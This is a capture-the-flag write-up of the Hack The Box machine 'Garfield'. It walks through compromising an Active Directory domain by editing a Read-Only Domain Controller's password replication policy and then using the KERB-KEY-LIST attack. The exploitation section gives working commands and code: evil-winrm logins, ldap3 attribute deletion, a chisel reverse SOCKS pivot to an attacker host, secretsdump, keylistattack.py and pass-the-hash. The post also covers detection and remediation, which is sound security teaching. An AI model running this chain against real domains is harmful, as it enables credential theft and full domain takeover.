Skip to content
Back to all posts

HTB: Garfield

· 20 min hard Windows Garfield

An Active Directory domain with a Read-Only Domain Controller whose Password Replication Policy is writable by a Tier 1 admin, enabling the KERB-KEY-LIST attack to extract the Administrator's NT hash.

Overview

Garfield is a hard Windows box presenting an Active Directory domain with a dual-DC architecture: a primary writable domain controller (DC01) and a Read-Only Domain Controller (RODC01) on a segregated internal network. The attack chain proceeds from a Tier 1 administrator credential through RODC infrastructure abuse to domain compromise.

The core vulnerability is an ACL misconfiguration: a Tier 1 admin account has GenericWrite on the RODC computer object. This allows modifying the Password Replication Policy (PRP) attributes, removing the deny rules that prevent Administrator credential caching. With the PRP cleared, the KERB-KEY-LIST attack forces DC01 to reveal the Administrator’s NT hash via the RODC’s Kerberos key.

The box demands deep understanding of RODC architecture, Kerberos delegation mechanics, and the subtle differences between PRP attributes. Several plausible attack paths (RODC golden tickets, DCSync, RBCD) fail for specific technical reasons that are instructive in themselves.

Reconnaissance

I scan the standard AD ports:

nmap -Pn -sV -p 88,135,139,389,445,636,3268,3389,5985,9389 10.129.15.89
PortServiceProduct / VersionNotes
88KerberosMicrosoft Windows KerberosDomain: garfield.htb
389LDAPActive Directory LDAPDC01
445SMBMicrosoft SMBWindows Server 2019
5985WinRMMicrosoft HTTPAPI httpd 2.0Remote management

Standard Active Directory services. No web application, no ADCS (confirmed via certipy enumeration). LDAP signing is not enforced. The domain is garfield.htb and the DC hostname is DC01.

Attack Surface Analysis

Domain user enumeration

LDAP enumeration with compromised credentials reveals a minimal user population:

AccountNotes
AdministratorStandard Domain Admin
krbtgtStandard DC Kerberos account
krbtgt_8245RODC-specific Kerberos account (RID 8245)
j.arbuckleIT Support, password never expires
l.wilsonStandard user
l.wilson_admIT Support, Tier 1 admin

No Kerberoastable SPNs on user objects. No ASREPRoastable accounts.

RODC infrastructure

LDAP reveals a second domain controller: RODC01 at 192.168.100.2 on a segregated internal network, not directly accessible from the attacker.

The RODC’s Password Replication Policy attributes are critical:

  • msDS-RevealOnDemandGroup (allow list): contains Administrator
  • msDS-NeverRevealGroup (deny list): contains Administrators builtin group and Denied RODC Password Replication Group
  • msDS-RevealedList (cached): only l.wilson_adm and krbtgt_8245

The Administrator account is on the allow list but blocked by the deny list. The deny list takes precedence. Administrator credentials have never been cached on RODC01.

ACL analysis

bloodyad -d garfield.htb -u l.wilson_adm -p 'Garfield2024!' \
  --dc-ip 10.129.15.89 get writable --otype COMPUTER

l.wilson_adm has GenericWrite on RODC01’s computer object. No write access to DC01. This is the key finding: GenericWrite on the RODC allows modifying the PRP attributes.

Vulnerability Analysis

The vulnerability is an ACL misconfiguration combined with an RODC PRP design pattern that becomes exploitable when write access is available.

GenericWrite on RODC01. The IT Support group has GenericWrite on the RODC computer object. This level of access is unnecessary for RODC management tasks and allows modification of security-critical attributes including msDS-NeverRevealGroup.

PRP bypass via NeverRevealGroup modification. The Password Replication Policy uses two lists: the allow list (msDS-RevealOnDemandGroup) and the deny list (msDS-NeverRevealGroup). The deny list takes precedence. If an account appears in both, caching is denied. Removing the blocking entries from the deny list allows caching for accounts already on the allow list.

KERB-KEY-LIST attack. RODCs use a special Kerberos mechanism to request credential replication from the writable DC. The KERB-KEY-LIST request, sent with the RODC’s krbtgt key, asks DC01 to return the NT hash for a specified user. DC01 evaluates the current PRP before responding. If the PRP permits caching, DC01 returns the hash.

AttributeValue
CWECWE-732 (Incorrect Permission Assignment)
Root causeGenericWrite on RODC computer object granted to Tier 1 admin
ImpactFull domain compromise via Administrator NT hash extraction

Exploitation

Initial access

evil-winrm -i 10.129.15.89 -u l.wilson_adm -p 'Garfield2024!'

WinRM shell as l.wilson_adm on DC01. User flag captured.

Phase 1: PRP manipulation

Remove the blocking entries from RODC01’s msDS-NeverRevealGroup:

import ldap3

server = ldap3.Server('10.129.15.89')
conn = ldap3.Connection(server, 'garfield.htb\\l.wilson_adm', 'Garfield2024!')
conn.bind()

rodc_dn = 'CN=RODC01,OU=Domain Controllers,DC=garfield,DC=htb'

# Remove Denied RODC PRP Group
conn.modify(rodc_dn, {
    'msDS-NeverRevealGroup': [(ldap3.MODIFY_DELETE,
        ['CN=Denied RODC Password Replication Group,CN=Users,DC=garfield,DC=htb'])]
})

# Remove Administrators builtin group
conn.modify(rodc_dn, {
    'msDS-NeverRevealGroup': [(ldap3.MODIFY_DELETE,
        ['CN=Administrators,CN=Builtin,DC=garfield,DC=htb'])]
})

Both modifications succeed. The Administrator account is now permitted for credential caching on RODC01 (present in RevealOnDemandGroup, no longer blocked by NeverRevealGroup).

Phase 2: pivot to RODC01

RODC01 at 192.168.100.2 is only reachable from DC01. Pivot infrastructure:

Attacker (10.10.14.84)
  chisel server :8888 --reverse --socks5
      |
DC01 (10.129.15.89)
  chisel.exe client 10.10.14.84:8888 R:socks
      |
RODC01 (192.168.100.2)
  SMB:445, Kerberos:88, WinRM:5985

Local socat forwards map 127.0.0.2 ports to RODC01 through the SOCKS proxy. RODC01’s machine account password (RODCadmin2024!) was recovered from a deployment script on DC01.

Phase 3: krbtgt_8245 key extraction

The RODC’s unique krbtgt key is required for the KERB-KEY-LIST attack:

secretsdump.py 'GARFIELD/RODC01$:[email protected]' \
  -dc-ip 10.129.15.89 -just-dc-user krbtgt_8245

This retrieves the AES-256 key for krbtgt_8245.

Phase 4: KERB-KEY-LIST attack

keylistattack.py \
  -rodcNo 8245 \
  -rodcKey <krbtgt_8245_aes_key> \
  -t Administrator \
  -dc-ip 10.129.15.89 \
  GARFIELD/l.wilson_adm:[email protected]

DC01 evaluates the PRP (which now permits Administrator caching) and returns the Administrator’s NT hash. Pass-the-hash for domain admin:

evil-winrm -i 10.129.15.89 -u Administrator -H <nthash>

Root flag captured.

Post-Exploitation

Additional findings

Post-exploitation enumeration revealed several residual risks:

  • Print Spooler running on DC01: creates an NTLM coercion surface via MS-RPRN. Combined with the unenforced LDAP signing, this enables relay-based attacks independent of the RODC path.
  • AutoAdminLogon configured for Administrator: the password is stored in LSA Secrets, recoverable with SYSTEM access.
  • LDAP signing not enforced: unsigned NTLM LDAP binds succeed, enabling relay attacks for attribute modification on behalf of coerced machine accounts.

Failed approaches

Several seemingly viable attack paths failed for instructive reasons:

RODC golden ticket. Forging a TGT with krbtgt_8245 for Administrator produced KDC_ERR_S_PRINCIPAL_UNKNOWN on every TGS-REQ. DC01 validates RODC-issued tickets against msDS-RevealedList, not just the PRP attributes. Since Administrator never physically authenticated through RODC01, the RevealedList does not contain an entry, and DC01 rejects the ticket.

DCSync as RODC01$. The RODC holds “Replicating Directory Changes” but not “Replicating Directory Changes All.” The former is insufficient for hash extraction via GetNCChanges. RODCs use RODC-specific DRS calls governed by the PRP, not the general replication path.

RBCD against DC01$. l.wilson_adm has no write access to DC01’s computer object. Only RODC01 and attacker-created machine accounts are writable.

Defensive Analysis

Detection opportunities

PhaseMITRE ATT&CKDetection
Initial accessT1078.002WinRM authentication with Tier 1 admin credentials
Privilege escalationT1548LDAP modifications to msDS-NeverRevealGroup
Credential accessT1003.003KERB-KEY-LIST requests from non-RODC sources
Lateral movementT1021.006WinRM sessions from DC01 to RODC01
DiscoveryT1087.002LDAP enumeration of RODC PRP attributes

AD-level: Windows Security Event 4742 (computer account changed) records modifications to RODC attributes. An alert on any change to msDS-NeverRevealGroup that removes high-privilege groups would detect this attack immediately.

Kerberos-level: KERB-KEY-LIST requests should originate only from RODCs. Requests originating from other sources or for accounts not in the RevealedList are anomalous.

Network-level: Chisel tunnelling from DC01 to external hosts is detectable via outbound HTTP connections on non-standard ports from a domain controller.

Remediation

PriorityActionEffortImpact
P0Remove GenericWrite from IT Support on RODC01LowCritical
P0Rotate RODC01 machine account to random 120+ charsLowCritical
P0Monitor msDS-NeverRevealGroup for modificationsMediumCritical
P1Enforce LDAP signing on DC01LowHigh
P1Disable Print Spooler on domain controllersLowHigh
P2Remove AutoAdminLogon from DC01LowMedium
P2Restrict SeMachineAccountPrivilegeLowMedium
P3Use managed service accounts for RODC01MediumMedium

The root cause is the GenericWrite ACL. Tier 1 administrators need read-only access to RODC management attributes, not write access. The delegation of administration wizard can grant only the specific attributes required (e.g., read msDS-RevealedList). GenericWrite on an RODC computer object is equivalent to the ability to force credential replication for any account on the allow list.

The RODC machine account password (RODCadmin2024!) was manually set rather than auto-generated. Hardcoded passwords in deployment scripts are a persistent credential exposure risk. Managed service accounts eliminate manual password management entirely.

Key Takeaways

  1. RODC PRP is a security boundary controlled by ACLs. The Password Replication Policy prevents credential caching on RODCs. But the policy is stored as LDAP attributes on the RODC computer object. Any principal with write access to that object can modify the policy.

  2. NeverRevealGroup is the critical control. The deny list takes precedence over the allow list. Removing entries from NeverRevealGroup is equivalent to adding entries to RevealOnDemandGroup in terms of net effect, but is less likely to be monitored because defenders focus on additions rather than removals.

  3. RODC golden tickets require RevealedList population. Modifying the PRP is necessary but not sufficient for golden ticket attacks. DC01 validates RODC-issued tickets against the RevealedList, which records which accounts have actually authenticated through the RODC. The KERB-KEY-LIST attack bypasses this requirement.

  4. DCSync rights differ between writable DCs and RODCs. “Replicating Directory Changes” without “Replicating Directory Changes All” is insufficient for secretsdump. RODCs use PRP-governed DRS calls, not the general GetNCChanges path.

  5. Pivot infrastructure is often already present. The box contained chisel.exe and a TCP relay script (relay.ps1) pre-staged for RODC access. In real environments, attackers leave tools behind. Defenders should monitor for unexpected binaries on domain controllers.